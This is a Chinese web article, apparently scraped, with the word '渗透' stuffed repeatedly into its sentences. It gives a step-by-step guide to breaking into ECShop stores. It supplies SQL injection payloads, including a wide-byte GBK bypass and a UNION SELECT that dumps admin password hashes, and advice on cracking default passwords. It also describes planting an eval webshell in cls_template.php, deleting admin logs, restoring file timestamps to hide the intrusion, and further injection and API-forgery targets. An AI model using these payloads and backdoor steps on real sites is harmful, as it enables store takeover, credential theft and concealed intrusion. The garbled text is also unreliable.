当前位置: 当前位置:首页 > 焦点 > 渗透ecshop正文

渗透ecshop

作者:休闲 来源:综合 浏览: 【大 中 小】 发布时间:2026-10-17 06:05:26 评论数:

ECShop 的渗透漏洞利用,最直接的渗透一条路就是通过 `user.php` 里的 SQL 注入点拿到管理员权限。这个注入点存在于 `login` 和 `register` 的渗透 `act` 参数处理逻辑中,具体位置在 `includes/modules/integrates/integrate.php` 的渗透 `get_user_info` 方法。它没有对传入的渗透 `username` 做足够过滤,直接拼接进了 SQL 查询。渗透

我最早注意到这个入口是渗透在一次测试里,目标站用的渗透是 ECShop 2.7.3。当时随手在登录框的渗透用户名位置填了 `' or 1=1#`,密码随便写,渗透提交后页面没报错,渗透反而直接跳转到了用户中心。渗透这说明注入成功了,渗透而且 `#` 注释掉了后面的渗透密码校验。不过 ECShop 默认会对用户名做 `addslashes` 处理,渗透单引号会被转义,所以得换个思路——利用 `convert` 或者宽字节注入。

宽字节注入的条件是数据库连接使用 GBK 编码。ECShop 默认安装时 `data/config.php` 里 `$db->charset` 就是 `'gbk'`。构造 `%df' or 1=1#` 作为用户名,`%df` 和反斜杠 `%5c` 结合成 `%df%5c`,在 GBK 里被解析成一个汉字,后面的单引号就逃逸出来了。这个 payload 在浏览器里直接提交会被 URL 编码,用 Burp 抓包改一下就行。

拿到注入点之后,下一步是读管理员账号密码。ECShop 的 `ecs_admin_user` 表里存的是 MD5 哈希,但 `ecs_users` 表里普通用户的密码也是 MD5。如果目标站允许普通用户登录后台,那直接读 `ecs_users` 更简单。不过多数情况还是得从 `ecs_admin_user` 里拿。用 `union select` 把 `user_name` 和 `password` 查出来,字段数要匹配。`user.php` 里 `login` 分支的查询大概是这样:

SELECT user_id, user_name, password, email FROM ecs_users WHERE user_name = '$username'

一共四个字段,所以 payload 可以写成:

%df' union select 1,user_name,password,4 from ecs_admin_user#

提交后页面如果返回了管理员用户名和哈希,就说明注入生效了。接下来把 MD5 丢到 cmd5 或者 hashcat 里跑。ECShop 后台默认账号是 `admin`,密码如果没改过,很多站就是 `admin888` 或者 `123456`,MD5 一查就出来。

拿到后台之后,渗透还没完。ECShop 后台有模板管理功能,可以编辑 `.dwt` 或者 `.lbi` 文件。直接往模板里写 PHP 代码,比如 ``,保存后访问对应的前台页面,木马就执行了。但要注意,模板文件会被编译成 PHP 缓存,路径在 `temp/compiled/` 下面,直接访问模板源文件不会执行 PHP。得找到编译后的文件,或者触发一次页面渲染让缓存生成。

另一个更隐蔽的方式是改 `includes/lib_insert.php` 或者 `includes/cls_template.php`,在某个函数里插入一句话。这种改动不会影响前台显示,但每次页面加载都会执行。我试过在 `cls_template.php` 的 `fetch` 方法开头加 `@eval($_POST['x']);`,然后访问任意页面,用菜刀连 `http://target/index.php`,POST 里带 `x=phpinfo();`,直接弹出来。

清理痕迹这块,ECShop 的日志在 `data/logs/` 下面,按日期分文件。后台操作日志在 `ecs_admin_log` 表里。如果不想留记录,注入的时候用 `/*!50000union*/` 这种注释绕过 WAF,后台操作完把 `ecs_admin_log` 里自己的记录删掉。模板文件改完记得把修改时间恢复,或者直接改回去再重新写一个更隐蔽的后门。

实际测试中,很多 ECShop 站点的 `user.php` 注入点被补了,但 `goods.php` 的 `id` 参数、`category.php` 的 `cat_id` 参数还有盲注。盲注慢,但配合 `sqlmap` 的 `--technique=B` 也能跑出数据。另外 `api/client/api.php` 里的 `sign` 参数校验不严,可以伪造请求调用任意接口,这个点知道的人少,成功率反而高。

最后提一句,ECShop 官方最后更新停在 2018 年,之后就没再发过安全补丁。网上流传的 2.7.x 版本几乎每个文件都有问题,渗透的时候别只盯着 `user.php`,`flow.php`、`comment.php` 这些地方也值得翻一翻。